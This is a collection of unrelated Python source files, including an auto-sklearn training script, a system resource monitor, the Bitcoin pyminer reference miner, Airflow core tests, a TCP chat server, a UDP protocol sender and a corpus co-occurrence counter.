MemoryHandlerTest, ConfigFileTest, SocketHandlerTest, DatagramHandlerTest, MemoryTest, EncodingTest, WarningsTest, ConfigDictTest, ManagerTest, FormatterTest, BufferingFormatterTest, StreamHandlerTest, LogRecordFactoryTest, ChildLoggerTest, QueueHandlerTest, ShutdownTest, ModuleLevelMiscTest, BasicConfigTest, LoggerAdapterTest, LoggerTest, SMTPHandlerTest, FileHandlerTest, RotatingFileHandlerTest, LastResortTest, LogRecordTest, ExceptionTest, SysLogHandlerTest, IPv6SysLogHandlerTest, HTTPHandlerTest, NTEventLogHandlerTest, TimedRotatingFileHandlerTest, UnixSocketHandlerTest, UnixDatagramHandlerTest, UnixSysLogHandlerTest, MiscTestCase ] if hasattr(logging.handlers, 'QueueListener'): tests.append(QueueListenerTest) support.run_unittest(*tests) if __name__ == "__main__": test_main()
process_stage2.py
import multiprocessing import shutil from os import path from exp2.path_service import PathService from .pre import Exp2Assistant from autosklearn.metrics import accuracy from autosklearn.classification import AutoSklearnClassifier from autosklearn.constants import * from sklearn.externals import joblib tmp_folder = './tmp/autosklearn_parallel_example_tmp' output_folder = './tmp/autosklearn_parallel_example_out' path_service = PathService() for directory in [tmp_folder, output_folder]: try: shutil.rmtree(directory) except OSError as e: pass def get_spawn_classifier(X_train, y_train): def spawn_classifier(seed, dataset_name): """Spawn a subprocess. auto-sklearn does not take care of spawning worker processes. This function, which is called several times in the main block is a new process which runs one instance of auto-sklearn. """ # Use the initial configurations from meta-learning only in one out of # the four processes spawned. This prevents auto-sklearn from evaluating # the same configurations in four processes. if seed == 0: initial_configurations_via_metalearning = 25 smac_scenario_args = {} else: initial_configurations_via_metalearning = 0 smac_scenario_args = {'initial_incumbent': 'RANDOM'} # Arguments which are different to other runs of auto-sklearn: # 1. all classifiers write to the same output directory # 2. shared_mode is set to True, this enables sharing of data between # models. # 3. all instances of the AutoSklearnClassifier must have a different seed! automl = AutoSklearnClassifier( time_left_for_this_task=120, # sec., how long should this seed fit process run per_run_time_limit=120, # sec., each model may only take this long before it's killed ml_memory_limit=1024, # MB, memory limit imposed on each call to a ML algorithm shared_mode=True, # tmp folder will be shared between seeds tmp_folder=tmp_folder, output_folder=output_folder, delete_tmp_folder_after_terminate=False, ensemble_size=0, # ensembles will be built when all optimization runs are finished initial_configurations_via_metalearning=initial_configurations_via_metalearning, seed=seed, smac_scenario_args=smac_scenario_args, ) automl.fit(X_train, y_train, dataset_name=dataset_name) return spawn_classifier def multithread_tiny(): stage2assistant = Exp2Assistant(stage=2) X_train = stage2assistant.train_data y_train = stage2assistant.train_label processes = [] spawn_classifier = get_spawn_classifier(X_train, y_train) # spawn_classifier = get_spawn_classifier(X_train, y_train) for i in range(4): # set this at roughly half of your cores p = multiprocessing.Process(target=spawn_classifier, args=(i, 'label')) p.start() processes.append(p) for p in processes: p.join() print('Starting to build an ensemble!') automl = AutoSklearnClassifier( time_left_for_this_task=120, per_run_time_limit=120, ml_memory_limit=1024, shared_mode=True, ensemble_size=50, ensemble_nbest=300, tmp_folder=tmp_folder, output_folder=output_folder, initial_configurations_via_metalearning=0, seed=1, ) # Both the ensemble_size and ensemble_nbest parameters can be changed now if # necessary automl.fit_ensemble( y_train, task=MULTICLASS_CLASSIFICATION, metric=accuracy, precision='32', dataset_name='label', ensemble_size=20, ensemble_nbest=60, ) joblib.dump(automl, path.join(path_service.get_resource(path.join("exp2", "model")), "stage2_model.joblib")) def simple(): stage2assistant = Exp2Assistant(stage=2) train_data = stage2assistant.train_data X_train = train_data.iloc[:, :-1] y_train = train_data.iloc[:, -1] automl = AutoSklearnClassifier() # change the time, in this experiment, 1h 12h 24h 48h automl.fit(X_train, y_train) joblib.dump(automl, path.join(path_service.get_resource("model"), "stage2_model.joblib")) if __name__ == '__main__': simple()
__init__.py
import os, sys, threading, time CURRENT_DIR = os.path.dirname(os.path.realpath(__file__)) sys.path.insert(0, os.path.join(CURRENT_DIR, "..", "..")) import constants import psutil import atexit class Monitor: def __init__(self): pass def warn(self): pass def monitor(self): pass class CPUMonitor(Monitor): message = "Your CPU usage is %s percent" threshold = 80 def __init__(self): self.running = False self.warned = False def warn(self): truncated = "%d" % (int(self.current_cpu_usage),) message = CPUMonitor.message % (truncated,) os.system(constants.DISPLAY_NOTIFICATION % (message,)) def monitor(self): self.running = True while self.running: self.current_cpu_usage = psutil.cpu_percent() if self.current_cpu_usage > CPUMonitor.threshold: if not self.warned: self.warn() self.warned = True else: self.warned = False time.sleep(1) def stop(self): self.running = False class MemoryMonitor(Monitor): message = "Your memory usage is %s percent" threshold = 80 def __init__(self): self.running = False self.warned = False def warn(self): truncated = "%d" % (int(self.current_mem_usage),) message = MemoryMonitor.message % (truncated,) os.system(constants.DISPLAY_NOTIFICATION % (message,)) def monitor(self): self.running = True while self.running: self.current_mem_usage = psutil.virtual_memory()[2] if self.current_mem_usage > MemoryMonitor.threshold: if not self.warned: self.warn() self.warned = True else: self.warned = False time.sleep(1) def stop(self): self.running = False class TempMonitor(Monitor): message = "Your temperature usage is %s percent" threshold = 70 def __init__(self): self.running = False self.warned = False self.temp_file = open("/sys/class/thermal/thermal_zone0/temp", 'r') def warn(self): truncated = "%d" % (int(self.current_temp),) message = MemoryMonitor.message % (truncated,) os.system(constants.DISPLAY_NOTIFICATION % (message,)) def monitor(self): self.running = True while self.running: self.temp_file.seek(0) temp_str = self.temp_file.read().strip() self.current_temp = int(temp_str) / 1000 if self.current_temp > TempMonitor.threshold: if not self.warned: self.warn() self.warned = True else: self.warned = False time.sleep(1) def stop(self): self.running = False self.temp_file.close() monitor_threads = {} cpu_mon = None mem_mon = None temp_mon = None def start(): global monitor_threads, cpu_mon, mem_mon, temp_mon if len(monitor_threads) > 0: return cpu_mon = CPUMonitor() mem_mon = MemoryMonitor() temp_mon = TempMonitor() monitor_threads["cpu_mon"] = threading.Thread(target=cpu_mon.monitor) monitor_threads["mem_mon"] = threading.Thread(target=mem_mon.monitor) monitor_threads["temp_mon"] = threading.Thread(target=temp_mon.monitor) for thread in monitor_threads: monitor_threads[thread].daemon = True monitor_threads[thread].start() def stop(): global cpu_mon, mem_mon, temp_mon cpu_mon.stop() mem_mon.stop() temp_mon.stop()
pyminer.py
#!/usr/bin/python # # Copyright (c) 2011 The Bitcoin developers. # Distributed under the MIT/X11 software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. # import time import json import pprint import hashlib import struct import re import base64 import httplib import sys from multiprocessing import Process ERR_SLEEP = 15 MAX_NONCE = 1000000L settings = {} pp = pprint.PrettyPrinter(indent=4) class BitcoinRPC: OBJID = 1 def __init__(self, host, port, username, password): authpair = "%s:%s" % (username, password) self.authhdr = "Basic %s" % (base64.b64encode(authpair)) self.conn = httplib.HTTPConnection(host, port, False, 30) def rpc(self, method, params=None): self.OBJID += 1 obj = { 'version' : '1.1', 'method' : method, 'id' : self.OBJID } if params is None: obj['params'] = [] else: obj['params'] = params self.conn.request('POST', '/', json.dumps(obj), { 'Authorization' : self.authhdr, 'Content-type' : 'application/json' }) resp = self.conn.getresponse() if resp is None: print "JSON-RPC: no response" return None body = resp.read() resp_obj = json.loads(body) if resp_obj is None: print "JSON-RPC: cannot JSON-decode body" return None if 'error' in resp_obj and resp_obj['error'] != None: return resp_obj['error'] if 'result' not in resp_obj: print "JSON-RPC: no result in object" return None return resp_obj['result'] def getblockcount(self): return self.rpc('getblockcount') def getwork(self, data=None): return self.rpc('getwork', data) def uint32(x): return x & 0xffffffffL def bytereverse(x): return uint32(( ((x) << 24) | (((x) << 8) & 0x00ff0000) | (((x) >> 8) & 0x0000ff00) | ((x) >> 24) )) def bufreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): word = struct.unpack('@I', in_buf[i:i+4])[0] out_words.append(struct.pack('@I', bytereverse(word))) return ''.join(out_words) def wordreverse(in_buf): out_words = [] for i in range(0, len(in_buf), 4): out_words.append(in_buf[i:i+4]) out_words.reverse() return ''.join(out_words) class Miner: def __init__(self, id): self.id = id self.max_nonce = MAX_NONCE def work(self, datastr, targetstr): # decode work data hex string to binary static_data = datastr.decode('hex') static_data = bufreverse(static_data) # the first 76b of 80b do not change blk_hdr = static_data[:76] # decode 256-bit target value targetbin = targetstr.decode('hex') targetbin = targetbin[::-1] # byte-swap and dword-swap targetbin_str = targetbin.encode('hex') target = long(targetbin_str, 16) # pre-hash first 76b of block header static_hash = hashlib.sha256() static_hash.update(blk_hdr) for nonce in xrange(self.max_nonce): # encode 32-bit nonce value nonce_bin = struct.pack("<I", nonce) # hash final 4b, the nonce value hash1_o = static_hash.copy() hash1_o.update(nonce_bin) hash1 = hash1_o.digest() # sha256 hash of sha256 hash hash_o = hashlib.sha256() hash_o.update(hash1) hash = hash_o.digest() # quick test for winning solution: high 32 bits zero? if hash[-4:] != '\0\0\0\0': continue # convert binary hash to 256-bit Python long hash = bufreverse(hash) hash = wordreverse(hash) hash_str = hash.encode('hex') l = long(hash_str, 16) # proof-of-work test: hash < target if l < target: print time.asctime(), "PROOF-OF-WORK found: %064x" % (l,) return (nonce + 1, nonce_bin) else: print time.asctime(), "PROOF-OF-WORK false positive %064x" % (l,) # return (nonce + 1, nonce_bin) return (nonce + 1, None) def submit_work(self, rpc, original_data, nonce_bin): nonce_bin = bufreverse(nonce_bin) nonce = nonce_bin.encode('hex') solution = original_data[:152] + nonce + original_data[160:256] param_arr = [ solution ] result = rpc.getwork(param_arr) print time.asctime(), "--> Upstream RPC result:", result def iterate(self, rpc): work = rpc.getwork() if work is None: time.sleep(ERR_SLEEP) return if 'data' not in work or 'target' not in work: time.sleep(ERR_SLEEP) return time_start = time.time() (hashes_done, nonce_bin) = self.work(work['data'], work['target']) time_end = time.time() time_diff = time_end - time_start self.max_nonce = long( (hashes_done * settings['scantime']) / time_diff) if self.max_nonce > 0xfffffffaL: self.max_nonce = 0xfffffffaL if settings['hashmeter']: print "HashMeter(%d): %d hashes, %.2f Khash/sec" % ( self.id, hashes_done, (hashes_done / 1000.0) / time_diff) if nonce_bin is not None: self.submit_work(rpc, work['data'], nonce_bin) def loop(self): rpc = BitcoinRPC(settings['host'], settings['port'], settings['rpcuser'], settings['rpcpass']) if rpc is None: return while True: self.iterate(rpc) def miner_thread(id): miner = Miner(id) miner.loop() if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: pyminer.py CONFIG-FILE" sys.exit(1) f = open(sys.argv[1]) for line in f: # skip comment lines m = re.search('^\s*#', line) if m: continue # parse key=value lines m = re.search('^(\w+)\s*=\s*(\S.*)$', line) if m is None: continue settings[m.group(1)] = m.group(2) f.close() if 'host' not in settings: settings['host'] = '127.0.0.1' if 'port' not in settings: settings['port'] = 42000 if 'threads' not in settings: settings['threads'] = 1 if 'hashmeter' not in settings: settings['hashmeter'] = 0 if 'scantime' not in settings: settings['scantime'] = 30L if 'rpcuser' not in settings or 'rpcpass' not in settings: print "Missing username and/or password in cfg file" sys.exit(1) settings['port'] = int(settings['port']) settings['threads'] = int(settings['threads']) settings['hashmeter'] = int(settings['hashmeter']) settings['scantime'] = long(settings['scantime']) thr_list = [] for thr_id in range(settings['threads']): p = Process(target=miner_thread, args=(thr_id,)) p.start() thr_list.append(p) time.sleep(1) # stagger threads print settings['threads'], "mining threads started" print time.asctime(), "Miner Starts - %s:%s" % (settings['host'], settings['port']) try: for thr_proc in thr_list: thr_proc.join() except KeyboardInterrupt: pass print time.asctime(), "Miner Stops - %s:%s" % (settings['host'], settings['port'])
test_core.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import multiprocessing import os import signal import unittest from datetime import timedelta from time import sleep import pytest from airflow import settings from airflow.exceptions import AirflowException, AirflowTaskTimeout from airflow.hooks.base import BaseHook from airflow.jobs.local_task_job import LocalTaskJob from airflow.models import DagBag, DagRun, TaskFail, TaskInstance from airflow.models.baseoperator import BaseOperator from airflow.models.dag import DAG from airflow.operators.bash import BashOperator from airflow.operators.check_operator import CheckOperator, ValueCheckOperator from airflow.operators.dummy import DummyOperator from airflow.operators.python import PythonOperator from airflow.settings import Session from airflow.utils.state import State from airflow.utils.timezone import datetime from airflow.utils.types import DagRunType from tests.test_utils.config import conf_vars from tests.test_utils.db import clear_db_dags, clear_db_runs DEV_NULL = '/dev/null' DEFAULT_DATE = datetime(2015, 1, 1) TEST_DAG_ID = 'unit_tests' class OperatorSubclass(BaseOperator): """ An operator to test template substitution """ template_fields = ['some_templated_field'] def __init__(self, some_templated_field, *args, **kwargs): super().__init__(*args, **kwargs) self.some_templated_field = some_templated_field def execute(self, context): pass class TestCore(unittest.TestCase): default_scheduler_args = {"num_runs": 1} def setUp(self): self.dagbag = DagBag(dag_folder=DEV_NULL, include_examples=True, read_dags_from_db=False) self.args = {'owner': 'airflow', 'start_date': DEFAULT_DATE} self.dag = DAG(TEST_DAG_ID, default_args=self.args) self.dag_bash = self.dagbag.dags['example_bash_operator'] self.runme_0 = self.dag_bash.get_task('runme_0') self.run_after_loop = self.dag_bash.get_task('run_after_loop') self.run_this_last = self.dag_bash.get_task('run_this_last') def tearDown(self): session = Session() session.query(DagRun).filter(DagRun.dag_id == TEST_DAG_ID).delete(synchronize_session=False) session.query(TaskInstance).filter(TaskInstance.dag_id == TEST_DAG_ID).delete( synchronize_session=False ) session.query(TaskFail).filter(TaskFail.dag_id == TEST_DAG_ID).delete(synchronize_session=False) session.commit() session.close() clear_db_dags() clear_db_runs() def test_check_operators(self): conn_id = "sqlite_default" captain_hook = BaseHook.get_hook(conn_id=conn_id) # quite funny :D captain_hook.run("CREATE TABLE operator_test_table (a, b)") captain_hook.run("insert into operator_test_table values (1,2)") self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE) op = CheckOperator( task_id='check', sql="select count(*) from operator_test_table", conn_id=conn_id, dag=self.dag ) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) op = ValueCheckOperator( task_id='value_check', pass_value=95, tolerance=0.1, conn_id=conn_id, sql="SELECT 100", dag=self.dag, ) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) captain_hook.run("drop table operator_test_table") def test_clear_api(self): task = self.dag_bash.tasks[0] task.clear(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, upstream=True, downstream=True) ti = TaskInstance(task=task, execution_date=DEFAULT_DATE) ti.are_dependents_done() def test_illegal_args(self): """ Tests that Operators reject illegal arguments """ msg = 'Invalid arguments were passed to BashOperator (task_id: test_illegal_args).' with conf_vars({('operators', 'allow_illegal_arguments'): 'True'}): with pytest.warns(PendingDeprecationWarning) as warnings: BashOperator( task_id='test_illegal_args', bash_command='echo success', dag=self.dag, illegal_argument_1234='hello?', ) assert any(msg in str(w) for w in warnings) def test_illegal_args_forbidden(self): """ Tests that operators raise exceptions on illegal arguments when illegal arguments are not allowed. """ with pytest.raises(AirflowException) as ctx: BashOperator( task_id='test_illegal_args', bash_command='echo success', dag=self.dag, illegal_argument_1234='hello?', ) assert 'Invalid arguments were passed to BashOperator (task_id: test_illegal_args).' in str(ctx.value) def test_bash_operator(self): op = BashOperator(task_id='test_bash_operator', bash_command="echo success", dag=self.dag) self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_bash_operator_multi_byte_output(self): op = BashOperator( task_id='test_multi_byte_bash_operator', bash_command="echo \u2600", dag=self.dag, output_encoding='utf-8', ) self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_bash_operator_kill(self): import psutil sleep_time = "100%d" % os.getpid() op = BashOperator( task_id='test_bash_operator_kill', execution_timeout=timedelta(seconds=1), bash_command="/bin/bash -c 'sleep %s'" % sleep_time, dag=self.dag, ) with pytest.raises(AirflowTaskTimeout): op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE) sleep(2) pid = -1 for proc in psutil.process_iter(): if proc.cmdline() == ['sleep', sleep_time]: pid = proc.pid if pid != -1: os.kill(pid, signal.SIGTERM) self.fail("BashOperator's subprocess still running after stopping on timeout!") def test_on_failure_callback(self): # Annoying workaround for nonlocal not existing in python 2 data = {'called': False} def check_failure(context, test_case=self): # pylint: disable=unused-argument data['called'] = True error = context.get("exception") test_case.assertIsInstance(error, AirflowException) op = BashOperator( task_id='check_on_failure_callback', bash_command="exit 1", dag=self.dag, on_failure_callback=check_failure, ) with pytest.raises(AirflowException): op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) assert data['called'] def test_dryrun(self): op = BashOperator(task_id='test_dryrun', bash_command="echo success", dag=self.dag) op.dry_run() def test_sqlite(self): import airflow.providers.sqlite.operators.sqlite op = airflow.providers.sqlite.operators.sqlite.SqliteOperator( task_id='time_sqlite', sql="CREATE TABLE IF NOT EXISTS unitest (dummy VARCHAR(20))", dag=self.dag ) self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_timeout(self): op = PythonOperator( task_id='test_timeout', execution_timeout=timedelta(seconds=1), python_callable=lambda: sleep(5), dag=self.dag, ) with pytest.raises(AirflowTaskTimeout): op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_python_op(self): def test_py_op(templates_dict, ds, **kwargs): if not templates_dict['ds'] == ds: raise Exception("failure") op = PythonOperator( task_id='test_py_op', python_callable=test_py_op, templates_dict={'ds': "{{ ds }}"}, dag=self.dag ) self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_complex_template(self): def verify_templated_field(context): assert context['ti'].task.some_templated_field['bar'][1] == context['ds'] op = OperatorSubclass( task_id='test_complex_template', some_templated_field={'foo': '123', 'bar': ['baz', '{{ ds }}']}, dag=self.dag, ) op.execute = verify_templated_field self.dag.create_dagrun(run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE) op.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) def test_template_non_bool(self): """ Test templates can handle objects with no sense of truthiness """ class NonBoolObject: def __len__(self): # pylint: disable=invalid-length-returned return NotImplemented def __bool__(self): # pylint: disable=invalid-bool-returned, bad-option-value return NotImplemented op = OperatorSubclass( task_id='test_bad_template_obj', some_templated_field=NonBoolObject(), dag=self.dag ) op.resolve_template_files() def test_task_get_template(self): TI = TaskInstance ti = TI(task=self.runme_0, execution_date=DEFAULT_DATE) ti.dag = self.dag_bash self.dag_bash.create_dagrun( run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE ) ti.run(ignore_ti_state=True) context = ti.get_template_context() # DEFAULT DATE is 2015-01-01 assert context['ds'] == '2015-01-01' assert context['ds_nodash'] == '20150101' # next_ds is 2015-01-02 as the dag interval is daily assert context['next_ds'] == '2015-01-02' assert context['next_ds_nodash'] == '20150102' # prev_ds is 2014-12-31 as the dag interval is daily assert context['prev_ds'] == '2014-12-31' assert context['prev_ds_nodash'] == '20141231' assert context['ts'] == '2015-01-01T00:00:00+00:00' assert context['ts_nodash'] == '20150101T000000' assert context['ts_nodash_with_tz'] == '20150101T000000+0000' assert context['yesterday_ds'] == '2014-12-31' assert context['yesterday_ds_nodash'] == '20141231' assert context['tomorrow_ds'] == '2015-01-02' assert context['tomorrow_ds_nodash'] == '20150102' def test_local_task_job(self): TI = TaskInstance ti = TI(task=self.runme_0, execution_date=DEFAULT_DATE) job = LocalTaskJob(task_instance=ti, ignore_ti_state=True) job.run() def test_raw_job(self): TI = TaskInstance ti = TI(task=self.runme_0, execution_date=DEFAULT_DATE) ti.dag = self.dag_bash self.dag_bash.create_dagrun( run_type=DagRunType.MANUAL, state=State.RUNNING, execution_date=DEFAULT_DATE ) ti.run(ignore_ti_state=True) def test_bad_trigger_rule(self): with pytest.raises(AirflowException): DummyOperator(task_id='test_bad_trigger', trigger_rule="non_existent", dag=self.dag) def test_terminate_task(self): """If a task instance's db state get deleted, it should fail""" from airflow.executors.sequential_executor import SequentialExecutor TI = TaskInstance dag = self.dagbag.dags.get('test_utils') task = dag.task_dict.get('sleeps_forever') ti = TI(task=task, execution_date=DEFAULT_DATE) job = LocalTaskJob(task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor()) # Running task instance asynchronously proc = multiprocessing.Process(target=job.run) proc.start() sleep(5) settings.engine.dispose() session = settings.Session() ti.refresh_from_db(session=session) # making sure it's actually running assert State.RUNNING == ti.state ti = ( session.query(TI) .filter_by(dag_id=task.dag_id, task_id=task.task_id, execution_date=DEFAULT_DATE) .one() ) # deleting the instance should result in a failure session.delete(ti) session.commit() # waiting for the async task to finish proc.join() # making sure that the task ended up as failed ti.refresh_from_db(session=session) assert State.FAILED == ti.state session.close() def test_task_fail_duration(self): """If a task fails, the duration should be recorded in TaskFail""" op1 = BashOperator(task_id='pass_sleepy', bash_command='sleep 3', dag=self.dag) op2 = BashOperator( task_id='fail_sleepy', bash_command='sleep 5', execution_timeout=timedelta(seconds=3), retry_delay=timedelta(seconds=0), dag=self.dag, ) session = settings.Session() try: op1.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) except Exception: # pylint: disable=broad-except pass try: op2.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True) except Exception: # pylint: disable=broad-except pass op1_fails = ( session.query(TaskFail) .filter_by(task_id='pass_sleepy', dag_id=self.dag.dag_id, execution_date=DEFAULT_DATE) .all() ) op2_fails = ( session.query(TaskFail) .filter_by(task_id='fail_sleepy', dag_id=self.dag.dag_id, execution_date=DEFAULT_DATE) .all() ) assert 0 == len(op1_fails) assert 1 == len(op2_fails) assert sum([f.duration for f in op2_fails]) >= 3 def test_externally_triggered_dagrun(self): TI = TaskInstance # Create the dagrun between two "scheduled" execution dates of the DAG execution_date = DEFAULT_DATE + timedelta(days=2) execution_ds = execution_date.strftime('%Y-%m-%d') execution_ds_nodash = execution_ds.replace('-', '') dag = DAG( TEST_DAG_ID, default_args=self.args, schedule_interval=timedelta(weeks=1), start_date=DEFAULT_DATE ) task = DummyOperator(task_id='test_externally_triggered_dag_context', dag=dag) dag.create_dagrun( run_type=DagRunType.SCHEDULED, execution_date=execution_date, state=State.RUNNING, external_trigger=True, ) task.run(start_date=execution_date, end_date=execution_date) ti = TI(task=task, execution_date=execution_date) context = ti.get_template_context() # next_ds/prev_ds should be the execution date for manually triggered runs assert context['next_ds'] == execution_ds assert context['next_ds_nodash'] == execution_ds_nodash assert context['prev_ds'] == execution_ds assert context['prev_ds_nodash'] == execution_ds_nodash
server.py
# libs import socket import threading from random import randint import sys gener_port = int(randint(1025, 65432)) inp = sys.argv if len(inp) == 3: host, port = inp[1], int(inp[2]) elif len(inp) != 1: print(f"usage: {sys.argv[0]} <HOST/TARGET (IPv4)> <PORT>") sys.exit() else: host, port = "localhost", gener_port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((host, port)) s.listen() clients = [] nicknames = [] def broadcast(msg): for c in clients: c.send(msg) def handle(client): while 1: try: msg = client.recv(1024) broadcast(msg) except: index = clients.index(client) clients.remove(client) client.close() nickname = nicknames[index] broadcast(f"{nickname} left the chat!".encode('ascii')) nicknames.remove(nickname) break def recieve(): while 1: conn, adress = s.accept() print(f"Connected with {str(adress)}") conn.send("NICK".encode('ascii')) # 'NICK' is keyword for triggering username of client nickname = conn.recv(1024).decode('ascii') nicknames.append(nickname) clients.append(conn) print(f"Nickname of the client is {nickname}!") broadcast(f"{nickname} joined the chat!".encode('ascii')) conn.send("Conencted to the server!".encode('ascii')) thread = threading.Thread(target=handle, args=(conn,)) thread.start if __name__ == "__main__": print("initiate the server...") recieve()
sender.py
"""Models a sender in the self-stabilizing communication protocol. Each node sets up n-1 senders that each connect to a receiver on the other side of the communication link. """ # standard from threading import Thread import socket import logging import time from queue import Queue # local from communication.udp.message import Message from modules.constants import FD_SLEEP, FD_TIMEOUT import modules.byzantine as byz from communication.constants import UDP, MAXINT logger = logging.getLogger(__name__) class Sender: """Models a sender in the self-stabilizing communication protocol.""" def __init__(self, id, addr, cap=MAXINT, bufsize=1024, check_ready=None, on_message_sent=None): """Initalizes the sender.""" self.id = id if type(addr) != tuple or type(addr[0]) != str or type(addr[1]) != int: raise ValueError(f"Arg addr must be tuple (hostname, port)") self.addr = addr self.cap = cap self.bufsize = bufsize self.check_ready = check_ready self.on_message_sent = on_message_sent # setup socket self.socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.msg_counter = 0 self.msg_queue = Queue() self.last_sent_msg = None self.last_recv_msg_counter = -1 def add_msg_to_queue(self, msg): """Adds the message to the FIFO queue for this sender channel.""" self.msg_queue.put(msg) def get_msg_from_queue(self): """Gets the next message from the queue If there is no message, None will be returned. Non-blocking method. """ if self.msg_queue.empty(): return None msg = self.msg_queue.get() return msg def start(self): """Main loop for the sender This is the main loop of the sender in the self-stabilizing token-passing algorithm with bounded sequence number proposed by Dolev. It uses a token attached to each message which is sent back and forth between the sender and receiver. Payload can be attached to the messages to exchange application-level data. """ # busy-wait on check_ready function if supplied if self.check_ready is not None and callable(self.check_ready): while not self.check_ready(): pass msg = Message(self.id, self.msg_counter) self.send(msg) while True: # wait for token to arrive msg = self.recv() msg_counter = msg.get_msg_counter() self.last_recv_msg_counter = msg_counter # token arrives if msg_counter >= self.msg_counter: # busy wait until there is a new message to send while self.msg_queue.empty(): time.sleep(0.1) msg = self.get_msg_from_queue() self.msg_counter += 1 % self.cap fd_msg = Message(self.id, self.msg_counter, payload=msg) self.send(fd_msg) else: # re-send last sent message self.send(self.last_sent_msg) logger.debug(f"Got invalid msg_counter {msg_counter} back") time.sleep(FD_SLEEP) def send(self, msg, timeout=True): """Sends a message over the link to the receiver Helper method that blocks until the message is sent to the receiver. A thread is launched that monitors the return of the token of the message, which will eventually re-send the message if needed. """ # busy-wait if node is unresponsive before sending message while byz.is_unresponsive(): time.sleep(0.1) msg_as_bytes = msg.to_bytes() self.socket.sendto(msg_as_bytes, self.addr) self.last_sent_msg = msg # Emit size of sent message if self.on_message_sent is not None: metric_data = {"bytes_size": len(msg_as_bytes), "msg_type": UDP} self.on_message_sent(msg.get_payload(), metric_data) if timeout: t = Thread(target=self.check_timeout, args=(msg,)) t.start() def recv(self): """Receives a message from the receiver Helper method that blocks until a message is received from the receiver. """ msg_bytes = self.socket.recv(self.bufsize) msg = Message.from_bytes(msg_bytes) return msg def check_timeout(self, msg): """Helper method that re-sends a message if needed If the token sent is not recevied within FD_TIMEOUT seconds, the message is re-sent. """ start_time = time.time() msg_counter = msg.get_msg_counter() while time.time() - start_time < FD_TIMEOUT: if self.last_recv_msg_counter >= msg_counter: # token returned from receiver return else: time.sleep(FD_SLEEP) logger.debug(f"Timeout, re-sending msg {msg_counter} to {self.addr}") self.send(msg, timeout=False) self.check_timeout(msg)
makecooccurs.py
import os from collections import Counter from multiprocessing import Queue, Process from Queue import Empty from argparse import ArgumentParser from coha.cohastringutils import process_lemma_line from ioutils import load_pickle, mkdir from cooccurrence.matstore import export_mat_from_dict DATA = "/dfs/scratch0/COHA/COHA_word_lemma_pos/" DICT = "/dfs/scratch0/COHA/info/{type}-dict.pkl" OUT = "/dfs/scratch0/COHA/cooccurs/{type}/{window_size:d}/" def worker(proc_num, queue, window_size, type, id_map): while True: try: decade = str(queue.get(block=False)) except Empty: break print "Proc:", proc_num, "Decade:", decade pair_counts = Counter() for file in os.listdir(DATA + decade): with open(DATA + decade + "/" + file) as fp: print proc_num, file fp.readline() context = [] for line in fp: word, lemma, lemma_pos, _ = process_lemma_line(line) if type == "word": item = word elif type == "lemma": item = lemma elif type == "lemma_pos": item = lemma_pos else: raise Exception("Unknown type {}".format(type)) if item == None: continue context.append(id_map[item]) if len(context) > window_size * 2 + 1: context.pop(0) pair_counts = _process_context(context, pair_counts, window_size) export_mat_from_dict(pair_counts, decade, OUT.format(type=type, window_size=window_size)) def _process_context(context, pair_counts, window_size): if len(context) < window_size + 1: return pair_counts target = context[window_size] indices = range(0, window_size) indices.extend(range(window_size + 1, 2 * window_size + 1)) for i in indices: if i >= len(context): break pair_counts[(target, context[i])] += 1 return pair_counts if __name__ == "__main__": parser = ArgumentParser() parser.add_argument("type") parser.add_argument("window_size", type=int) parser.add_argument("--workers", type=int, default=25) args = parser.parse_args() mkdir(OUT.format(type=args.type, window_size=args.window_size)) queue = Queue() for decade in range(1810, 2010, 10): queue.put(decade) id_map = load_pickle(DICT.format(type=args.type)) procs = [Process(target=worker, args=[i, queue, args.window_size, args.type, id_map]) for i in range(args.workers)] for p in procs: p.start() for p in procs: p.join()
networking.py
